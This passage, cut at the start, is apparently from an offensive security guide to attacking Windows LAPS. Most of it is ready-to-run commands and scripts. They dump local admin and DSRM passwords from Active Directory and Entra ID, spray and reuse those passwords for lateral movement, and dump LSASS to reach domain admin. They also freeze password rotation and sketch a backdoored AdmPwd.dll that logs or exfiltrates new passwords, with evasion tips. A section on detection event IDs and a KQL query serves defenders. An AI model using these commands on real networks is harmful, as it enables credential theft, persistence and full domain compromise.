# PasswordUpdateTime : 1/15/2025 12:00:00 PM
# ExpirationTimestamp : 2/14/2025 12:00:00 PM
# Source : EncryptedPassword
# DecryptionStatus : Success
# Get ALL Windows LAPS v2 passwords (domain-wide dump)
Get-ADComputer -Filter * | ForEach-Object {
Get-LapsADPassword -Identity $_.Name -AsPlainText -ErrorAction SilentlyContinue
}
# Get Windows LAPS password history
Get-LapsADPassword -Identity "WKSTN01" -AsPlainText -IncludeHistory
10.3 DSInternals — Decrypt LAPS Encrypted Passwords
# DSInternals toolkit can decrypt msLAPS-EncryptedPassword blobs
# Useful when you have DA-level access but want to decrypt from offline dumps
# Install DSInternals
Install-Module DSInternals
# Get and decrypt LAPS encrypted password
$key = Get-ADKdsRootKey # Get KDS root key (requires DA)
$computer = Get-ADComputer "WKSTN01" -Properties msLAPS-EncryptedPassword
ConvertFrom-ADManagedPasswordBlob -Blob $computer.'msLAPS-EncryptedPassword'
10.4 Windows LAPS — DSRM Password (Critical!)
# Windows LAPS v2 can ALSO manage the DSRM (Directory Services Restore Mode) password
# This is the local admin password for Domain Controllers!
# Stored in: msLAPS-EncryptedDSRMPassword
# Read DSRM password for a DC (requires very high privilege)
Get-LapsADPassword -Identity "DC01" -AsPlainText -Type "DsrmPassword"
# If an attacker has this → they can boot the DC to DSRM mode and own the domain completely!
[v2] Windows LAPS encrypted passwords use DPAPI-NG with the domain's KDS Root Key. Even if you dump the blob, you need the KDS key to decrypt it. Domain Admins always have access to decrypt.
11. Dumping LAPS from Entra ID / Intune-Managed Devices
What it means: When Windows LAPS is configured to back up passwords to Microsoft Entra ID (for Entra-joined or Hybrid-joined devices), the LAPS password lives in the cloud — not in AD. It's accessible via the Microsoft Graph API if you have the right Entra ID role.
[MITRE] T1552 — Unsecured Credentials | T1528 — Steal Application Access Token
11.1 Required Entra ID Roles to Read LAPS
Roles that can read LAPS passwords from Entra ID:
─────────────────────────────────────────────────────────────────
Global Administrator → Can read all device LAPS passwords
Cloud Device Administrator → Can read all device LAPS passwords
Intune Administrator → Can read all device LAPS passwords
Security Administrator → Can read all device LAPS passwords
Helpdesk Administrator → Can read passwords for non-admin-managed devices
ATTACK ANGLE: If you compromise any of these roles in Entra ID
→ you can dump ALL LAPS passwords for ALL Entra-joined devices in the tenant!
11.2 Dump Entra LAPS Passwords via MS Graph API
# Connect to Microsoft Graph with the right scope
Connect-MgGraph -Scopes 'DeviceLocalCredential.Read.All'
# Dump ALL Entra device LAPS passwords
Get-MgDevice -Filter "OperatingSystem eq 'Windows'" | ForEach-Object {
$deviceId = $_.Id
$laps = Get-MgDirectoryDeviceLocalCredential -DeviceLocalCredentialInfoId $deviceId -ErrorAction SilentlyContinue
if ($laps) {
# Password is Base64 encoded
$password = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($laps.Credentials[0].PasswordBase64))
[PSCustomObject]@{
DeviceName = $_.DisplayName
DeviceId = $deviceId
Account = $laps.Credentials[0].AccountName
Password = $password
}
}
}
# One-liner version (often shared as attack PoC)
Get-MgDevice -Filter "OperatingSystem eq 'Windows'" |
ForEach-Object {
[array]$b64 = (Get-MgDirectoryDeviceLocalCredential -DeviceLocalCredentialInfoId $_.Id -ErrorAction SilentlyContinue).Credentials.PasswordBase64
if($b64) { "$($_.DisplayName) : $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64[0])))" }
}
11.3 Via Azure CLI / REST API
# Get access token with DeviceLocalCredential.Read.All scope
az login
TOKEN=$(az account get-access-token --scope "https://graph.microsoft.com/DeviceLocalCredential.Read.All" --query accessToken -o tsv)
# List all devices
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/devices?\$filter=operatingSystem eq 'Windows'" | jq '.value[].id'
# Get LAPS credential for a specific device
DEVICE_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/beta/directory/deviceLocalCredentials/$DEVICE_ID?select=credentials" |
python3 -c "
import sys,json,base64
d=json.load(sys.stdin)
for c in d.get('credentials',[]):
p=base64.b64decode(c['passwordBase64']).decode()
print(f\"Account: {c['accountName']} Password: {p}\")
"
[DETECT] Entra ID generates an audit log entry: Recover device local administrator password / Successfully recovered local credential by device id. The Sigma rule for this is azure_auditlogs_laps_credential_dumping. Bulk reads are very visible.
12. Lateral Movement with LAPS Passwords
What it means: LAPS passwords give you local administrator access to specific machines. This is your primary lateral movement primitive — use the LAPS password to authenticate to the target machine and execute code.
[MITRE] T1021.002 — Remote Services: SMB/Windows Admin Shares | T1021.006 — Remote Services: Windows Remote Management
12.1 Authenticate with LAPS Password (SMB / WinRM / RDP)
# NetExec — authenticate with LAPS password (local auth is key!)
# ALWAYS use --local-auth because LAPS is a LOCAL account, not domain!
nxc smb WKSTN01.corp.local -u Administrator -p 'xKp#7mQz2!Ry' --local-auth
# Execute command on the target
nxc smb WKSTN01.corp.local -u Administrator -p 'xKp#7mQz2!Ry' \
--local-auth -x "whoami; hostname"
# WinRM
nxc winrm WKSTN01.corp.local -u Administrator -p 'xKp#7mQz2!Ry' \
--local-auth -x "whoami"
# Interactive WinRM session
evil-winrm -i WKSTN01.corp.local -u Administrator -p 'xKp#7mQz2!Ry'
# RDP (if enabled)
xfreerdp /u:Administrator /p:'xKp#7mQz2!Ry' /v:WKSTN01.corp.local
# Impacket — PSExec with LAPS password
psexec.py ./Administrator:'xKp#7mQz2!Ry'@WKSTN01.corp.local
# Impacket — SMBExec
smbexec.py ./Administrator:'xKp#7mQz2!Ry'@WKSTN01.corp.local
# Impacket — WMIExec
wmiexec.py ./Administrator:'xKp#7mQz2!Ry'@WKSTN01.corp.local
12.2 Pass-the-Hash with LAPS Credentials
# Get NTLM hash from LAPS password (offline calculation or dump from machine)
# Once you're on a LAPS-managed machine as local admin, dump the hash
# Dump local SAM hashes (from inside the machine)
nxc smb WKSTN01 -u Administrator -p 'xKp#7mQz2!Ry' --local-auth --sam
# Output:
# SMB WKSTN01 445 WKSTN01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:NTLMHASH:::
# Use hash on OTHER machines (but remember - LAPS hashes are unique per machine!)
# This only works if that machine ALSO has the same LAPS password (unlikely)
# More useful: use hash for the SAME machine's other services
nxc smb WKSTN01 -u Administrator -H 'NTLMHASH' --local-auth
12.3 Spray LAPS Passwords Across Multiple Machines
# If multiple machines are in the same OU with similar configurations,
# sometimes a newly observed LAPS password works briefly before rotation
# Loop through all machines with a specific LAPS password
nxc smb targets.txt -u Administrator -p 'xKp#7mQz2!Ry' --local-auth
# Combine with LAPS dump → lateral movement at scale
# 1. Dump all LAPS passwords for the Workstations OU
# 2. For each password, try it on the corresponding machine
python3 << 'EOF'
import subprocess
laps_data = {
"WKSTN01": "xKp#7mQz2!Ry",
"WKSTN02": "Lw8@nJvX4$Qs",
"WKSTN03": "Pm3!uFcT6#Vy",
}
for host, pwd in laps_data.items():
cmd = f"nxc smb {host}.corp.local -u Administrator -p '{pwd}' --local-auth -x 'hostname'"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
if "[+]" in result.stdout:
print(f"[SUCCESS] {host}: {pwd}")
EOF
12.4 Use LAPS Access to Dump Domain Credentials
# Once you have local admin on a machine via LAPS:
# → If a domain admin is logged in → dump their creds via LSASS!
# Check who's logged in (look for DA sessions)
nxc smb WKSTN01.corp.local -u Administrator -p 'xKp#7mQz2!Ry' \
--local-auth --loggedon-users
# Dump LSASS remotely (if Mimikatz / nanodump is available)
nxc smb WKSTN01.corp.local -u Administrator -p 'xKp#7mQz2!Ry' \
--local-auth -M nanodump
# Or: Use local admin → run payload → get DA session from machine → escalate to DA
# LAPS password → local admin → LSASS dump → DA creds → Domain compromise
13. LAPS DLL Backdoor / Persistence
What it means: Legacy LAPS uses a Group Policy Client-Side Extension DLL (AdmPwd.dll) to rotate passwords. If an attacker can replace or trojan this DLL on a machine where they have local admin, they can intercept every future password rotation — capturing the new LAPS password before it's stored in AD.
[MITRE] T1574.002 — Hijack Execution Flow: DLL Side-Loading | T1098 — Account Manipulation
13.1 Identifying the LAPS DLL
# LAPS v1 CSE DLL location
# 32-bit: C:\Windows\SysWOW64\AdmPwd.dll
# 64-bit: C:\Windows\System32\AdmPwd.dll
# Verify LAPS DLL is present and check its version
Get-Item "C:\Windows\System32\AdmPwd.dll" | Select-Object Name, VersionInfo
Test-Path "C:\Windows\System32\AdmPwd.dll" # True = LAPS v1 installed
# Registry confirms LAPS CSE is registered
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions" /s |
findstr "AdmPwd"
13.2 Backdooring AdmPwd.dll (Concept)
ATTACK: Trojanized LAPS DLL
─────────────────────────────────────────────────────────────────
1. Attacker has local admin on target machine (via LAPS or other means)
2. Attacker replaces/patches AdmPwd.dll with backdoored version
3. Backdoored DLL still functions normally (rotates passwords)
BUT ALSO: exfiltrates the new password to attacker C2 / logs it locally
Result:
- LAPS still "works" from defender's perspective
- Attacker receives every new password the moment it's generated
- Persistent access to local admin even after password rotations
Requirements: Local admin on target to replace system DLL
Detection bypass:
- Use DLL proxying (forward all legitimate exports to original)
- Match original DLL file metadata, version, signature (requires legitimate cert)
- Remove modification timestamps (timestomp)
// Backdoored DLL snippet concept (educational)
// In the password rotation function, before writing to AD:
// capture the new password and write it to a hidden file or C2
void BackdoorPasswordRotation(LPTSTR newPassword, LPTSTR computerName) {
// [ORIGINAL LAPS CODE] — still runs normally
OriginalSetPassword(newPassword, computerName);
// [BACKDOOR CODE] — log the new password
FILE* f = fopen("C:\\Windows\\Temp\\laps_log.dat", "a");
if (f) {
fprintf(f, "%s|%s\n", computerName, newPassword);
fclose(f);
}
// Or: send to C2 via HTTP/HTTPS
}
13.3 Persistence via Writing Known LAPS Password to AD
# If you have WriteProperty on ms-Mcs-AdmPwd (rare but possible misconfiguration):
# → Write a KNOWN password into the attribute → LAPS "thinks" it already rotated
# → Machine might not rotate again until expiration → you keep your known password
# This is more of a sabotage/persistence trick
# Requires: WriteProperty on ms-Mcs-AdmPwd attribute
Set-DomainObject -Identity "WKSTN01" \
-Set @{'ms-Mcs-AdmPwd' = 'MyKnownPassword123!'} -Verbose
# Note: The machine will overwrite this on the NEXT GP refresh!
# Combine with extending the expiration time to delay rotation
14. Machines Without LAPS — Still Dangerous
What it means: LAPS is typically only applied to certain OUs. Servers, Domain Controllers, and older machines are often excluded. These machines still have the default or shared local admin password — making them vulnerable to the classic Pass-the-Hash lateral movement that LAPS was designed to prevent.
14.1 Finding Non-LAPS Machines
# Find all domain computers NOT managed by LAPS
# These are the classic PTH targets!
$allComputers = Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd', OperatingSystem, 'ms-Mcs-AdmPwdExpirationTime'
$noLAPS = $allComputers | Where-Object {
$_.'ms-Mcs-AdmPwdExpirationTime' -eq $null
}
Write-Host "[+] Machines WITHOUT LAPS ($($noLAPS.Count) found):"
$noLAPS | Select-Object Name, OperatingSystem | Format-Table -AutoSize
# Group by OU to identify which OUs are missing LAPS coverage
$noLAPS | ForEach-Object {
$ou = $_.DistinguishedName -replace "^CN=[^,]+,",""
$ou
} | Group-Object | Sort-Object Count -Descending
14.2 Testing Default / Shared Local Admin Password
# Once you know which machines don't have LAPS,
# try the shared local admin password you already know from another machine
# Spray the known local admin hash or password across non-LAPS machines
nxc smb non_laps_targets.txt -u Administrator -H 'SHARED_NTLM_HASH' --local-auth
# Or with a known password
nxc smb non_laps_targets.txt -u Administrator -p 'SharedPassword123!' --local-auth
# Pivot: Local admin on non-LAPS server → dump → domain escalation
15. Detection & Event IDs
What it means: Blue team visibility into LAPS attacks. Know what you leave behind so you can choose your approach carefully.
[DETECT] Critical event IDs to know:
15.1 Key Windows Event IDs
Event ID Source What it Logs
──────────────────────────────────────────────────────────────────────────────────
4662 Security (DC) Object access — fires when ms-Mcs-AdmPwd is READ
Look for: Properties = {ms-Mcs-AdmPwd}
This is the PRIMARY LAPS read detection!
5136 Security (DC) Directory Service Object Modified
Fires when ms-Mcs-AdmPwdExpirationTime is WRITTEN
(Force expiry attack / freeze rotation attack)
4624 Security Successful logon
Correlate with 4662: same user reading LAPS then
authenticating to target machine = LAPS abuse
10018 LAPS Operational Password successfully updated in AD (on client)
10020 LAPS Operational Password NOT updated (failed rotation)
10025 LAPS Operational Device registration endpoint discovery
Entra ID:
────────────────────────────────────────────────────────────────────────
Audit Log "Recover device local administrator password"
Activity type = 'Recover device local administrator password'
additionalDetails = 'Successfully recovered local credential by device id'
→ Sigma rule: azure_auditlogs_laps_credential_dumping
15.2 Suspicious Patterns to Watch
Red flags in Event ID 4662 (LAPS password read):
- Account reading LAPS password for a machine they don't normally manage
- Bulk reads: same account reading ms-Mcs-AdmPwd for 10+ machines in a short window
- Read at an unusual time (3 AM, weekend)
- Read followed within minutes by logon (4624) to the same machine
Red flags in Event ID 5136 (LAPS attribute modification):
- ms-Mcs-AdmPwdExpirationTime set to a past date (force rotation attack)
- ms-Mcs-AdmPwdExpirationTime set to a far future date (freeze rotation attack)
- Modification by an account other than the computer account (SELF) or LAPS Admins
KQL Query for Microsoft Sentinel — LAPS Bulk Read Detection:
───────────────────────────────────────────────────────────────────────
SecurityEvent
| where EventID == 4662
| where Properties contains "ms-Mcs-AdmPwd"
| summarize ReadCount = count(), Machines = make_set(ObjectName)
by Account, bin(TimeGenerated, 1h)
| where ReadCount > 5
| project TimeGenerated, Account, ReadCount, Machines
16. Tools Reference
| Tool | Language | Purpose | Source |
|---|---|---|---|
| NetExec (nxc) | Python | Remote LAPS dump via LDAP, SMB exec with LAPS creds | pip install netexec |
| pyLAPS | Python | Python getter/setter for ms-Mcs-AdmPwd | GitHub: p0dalirius/pyLAPS |
| LAPSDumper | Python | Simple Python LAPS password dumper | GitHub: n00py/LAPSDumper |
| PowerView | PowerShell | ACL enumeration, LAPS attribute read | PowerSploit/Dev |
| AdmPwd.PS | PowerShell | Official LAPS management module | Microsoft / LAPS install |
| Get-LapsADPassword | PowerShell | Windows LAPS v2 native cmdlet | Built into Windows (2023+) |
| bloodyAD | Python | LDAP manipulation, LAPS attribute ops | GitHub: CravateRouge/bloodyAD |
| impacket-ntlmrelayx | Python | LDAP relay with --dump-laps flag | Impacket suite |
| GetLAPSPassword.py | Python | Impacket standalone LAPS dumper | Impacket/contrib |
| DSInternals | PowerShell | Decrypt Windows LAPS v2 encrypted blobs | GitHub: MichaelGrafnetter/DSInternals |
| Find-AdmPwdExtendedRights | PowerShell | Audit who can read LAPS passwords | Part of AdmPwd.PS module |
| LAPS_Enum.ps1 | PowerShell | Enumerate LAPS status across domain | Various red team repos |
| SharpLAPS | C# | .NET LAPS password reader | GitHub: swisskyrepo/SharpLAPS |
| Responder | Python | LLMNR/NBT-NS poisoner for relay attacks | GitHub: lgandx/Responder |
17. Comparison Matrix
| Attack | Rights Required | Noise Level | Impact | Tools |
|---|---|---|---|---|
| Direct LAPS read (ReadProperty) | ReadProperty on ms-Mcs-AdmPwd | Medium (4662) | Local admin on target | NetExec, PowerView, pyLAPS |
| AllExtendedRights → LAPS read | AllExtendedRights on Computer | Medium (4662) | Local admin on target | PowerView, AdmPwd.PS |
| LDAP Relay → LAPS dump | Network position (LDAP signing off) | Low | Local admin on any machine readable by relayed user | ntlmrelayx + Responder |
| Force expiry (write ExpirationTime) | WriteProperty on ExpirationTime | Low-Medium (5136) | Forces password reset — useful if you also can read | pyLAPS, Set-DomainObject |
| Freeze rotation (write ExpirationTime) | WriteProperty on ExpirationTime | Low (5136) | Extends known password validity | Set-DomainObject |
| Entra ID Graph API dump | Cloud Device Admin / Global Admin | High (audit log) | All Entra-joined device local admin | MS Graph, Connect-MgGraph |
| DLL backdoor (AdmPwd.dll) | Local admin on target | Very Low | Persistent password interception | Custom DLL |
| Non-LAPS machine PTH | Any local admin (initial foothold) | Medium (4624) | Lateral movement to all non-LAPS machines | NetExec, Impacket |
| Windows LAPS v2 decrypt | Domain Admin | Medium | All AD-joined device LAPS passwords | Get-LapsADPassword, DSInternals |
18. Cheat Sheet
LAPS Attack Decision Tree
Target has Active Directory + LAPS?
│
├─ Is LAPS even deployed?
│ ├─ Check: ldapsearch for (ms-Mcs-AdmPwdExpirationTime=*)
│ ├─ YES → some/all machines managed (proceed below)
│ └─ NO → all machines = shared local admin password
│ └─ PTH / password spray → domain-wide lateral movement
│
├─ Do you have any domain credentials?
│ ├─ YES → enumerate who can read LAPS passwords
│ │ └─ PowerView: Get-DomainObjectAcl | Where ObjectAceType -like 'ms-Mcs-AdmPwd'
│ │
│ └─ NO → can you trigger NTLM auth?
│ └─ LDAP signing not enforced? → LDAP relay attack!
│ └─ ntlmrelayx -t ldaps://DC --dump-laps
│
├─ Can your current user READ ms-Mcs-AdmPwd?
│ ├─ YES → dump LAPS passwords!
│ │ ├─ Windows: Get-AdmPwdPassword / Get-DomainComputer -Properties ms-Mcs-AdmPwd
│ │ └─ Linux: nxc ldap DC -u user -p pass -M laps
│ │ pyLAPS.py --action get ...
│ │
│ └─ NO → look for other rights
│ ├─ AllExtendedRights on Computer? → also gives LAPS read
│ ├─ WriteProperty on ExpirationTime? → force rotation + catch new password
│ └─ WriteDACL on OU/Computer? → grant yourself ReadProperty, then read
│
├─ What version of LAPS?
│ ├─ v1 (ms-Mcs-AdmPwd): Plaintext → read directly if you have rights
│ └─ v2 (msLAPS-Password or msLAPS-EncryptedPassword)
│ ├─ Encryption disabled → msLAPS-Password is JSON → parse and read
│ └─ Encryption enabled → need DA or delegated decrypt role
│ └─ Get-LapsADPassword -AsPlainText (if you have rights)
│
├─ LAPS backing up to Entra ID?
│ └─ Cloud Device Admin or Global Admin compromised?
│ └─ Get-MgDevice + Get-MgDirectoryDeviceLocalCredential → dump all cloud LAPS
│
└─ Got LAPS password for a machine?
├─ Always use --local-auth (it's a LOCAL account!)
├─ nxc smb TARGET -u Administrator -p 'LAPS_PWD' --local-auth
├─ evil-winrm -i TARGET -u Administrator -p 'LAPS_PWD'
└─ Check: is a domain admin logged in? → dump LSASS → escalate!
Key Commands at a Glance
# DETECT LAPS DEPLOYMENT (any domain user)
Get-DomainComputer | Where { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null }
# FIND WHO CAN READ LAPS
Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=corp,DC=local"
# READ LAPS PASSWORD (Windows)
Get-AdmPwdPassword -ComputerName WKSTN01
Get-DomainComputer WKSTN01 -Properties ms-Mcs-AdmPwd
# READ LAPS PASSWORD (Linux - NetExec)
nxc ldap DC01 -u user -p 'Pass' -M laps
# READ LAPS PASSWORD (Linux - ldapsearch)
ldapsearch -x -H ldap://DC01 -D "user@corp.local" -w 'Pass' \
-b "DC=corp,DC=local" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
# READ LAPS PASSWORD (Linux - pyLAPS)
python3 pyLAPS.py --action get -u user -d corp.local -p 'Pass' --dc-ip DC_IP
# FORCE PASSWORD ROTATION (Write ExpirationTime)
Set-DomainObject -Identity WKSTN01 -Set @{'ms-Mcs-AdmPwdExpirationTime'='136257686710000000'}
# LDAP RELAY TO DUMP LAPS
ntlmrelayx.py -t ldaps://DC_IP --dump-laps --no-dump --no-da --no-acl
# WINDOWS LAPS v2 READ (with rights)
Get-LapsADPassword -Identity WKSTN01 -AsPlainText
# ENTRA ID LAPS DUMP (with Cloud Device Admin)
Get-MgDevice -Filter "OperatingSystem eq 'Windows'" | ForEach-Object {
(Get-MgDirectoryDeviceLocalCredential -DeviceLocalCredentialInfoId $_.Id).Credentials
}
# LATERAL MOVEMENT WITH LAPS PASSWORD
nxc smb WKSTN01.corp.local -u Administrator -p 'LAPS_PASSWORD' --local-auth
evil-winrm -i WKSTN01.corp.local -u Administrator -p 'LAPS_PASSWORD'
psexec.py ./Administrator:'LAPS_PASSWORD'@WKSTN01.corp.local
LAPS Attribute Quick Reference
Attribute Version Readable By Notes
────────────────────────────────────────────────────────────────────────────────────────
ms-Mcs-AdmPwd v1 Delegated (ReadProperty) Plaintext password
ms-Mcs-AdmPwdExpirationTime v1 ANY domain user (!) Expiry timestamp — use for detection
msLAPS-Password v2 Delegated (ReadProperty) JSON cleartext (if no encryption)
msLAPS-PasswordExpirationTime v2 ANY domain user (!) Expiry timestamp
msLAPS-EncryptedPassword v2 Delegated + decrypt rights AES-256 encrypted blob (KDS)
msLAPS-EncryptedPasswordHistory v2 Delegated + decrypt rights Historical encrypted passwords
msLAPS-EncryptedDSRMPassword v2 DC-level decrypt rights DSRM password for DC — CRITICAL!
Windows FileTime Conversion (for ExpirationTime manipulation)
# Convert a normal date to FileTime (for setting ExpirationTime)
[DateTime]"2020-01-01" | Get-Date -UFormat "%s" # Unix
(Get-Date "2020-01-01").ToFileTimeUtc() # = 132224352000000000 (past date → forces rotation)
[DateTime]::MaxValue.ToFileTimeUtc() # = 3155378975999999999 (max = freeze rotation)
# Convert FileTime back to readable date
[DateTime]::FromFileTimeUtc(132609935231523081) # → readable date
References & Tools
Primary Tools:
- NetExec (nxc) — https://github.com/Pennyw0rth/NetExec
- pyLAPS — https://github.com/p0dalirius/pyLAPS
- LAPSDumper — https://github.com/n00py/LAPSDumper
- SharpLAPS — https://github.com/swisskyrepo/SharpLAPS
- bloodyAD — https://github.com/CravateRouge/bloodyAD
- DSInternals — https://github.com/MichaelGrafnetter/DSInternals
- PowerView — https://github.com/PowerShellMafia/PowerSploit/tree/dev
- Impacket — https://github.com/fortra/impacket
- Responder — https://github.com/lgandx/Responder
Further Reading:
- HackTricks LAPS — https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/laps.html
- ired.team LAPS — https://www.ired.team
- TrustedSec LAPS Detection — https://trustedsec.com/blog/a-lapse-in-judgement
- Praetorian LAPS Relay — https://www.praetorian.com/blog/obtaining-laps-passwords-through-ldap-relaying-attacks/
- Microsoft LAPS v2 Docs — https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview
- Hacking Articles LAPS — https://www.hackingarticles.in/credential-dumping-laps/
- PayloadsAllTheThings Azure AD — https://swisskyrepo.github.io/InternalAllTheThings/
- MITRE ATT&CK T1552 — https://attack.mitre.org/techniques/T1552/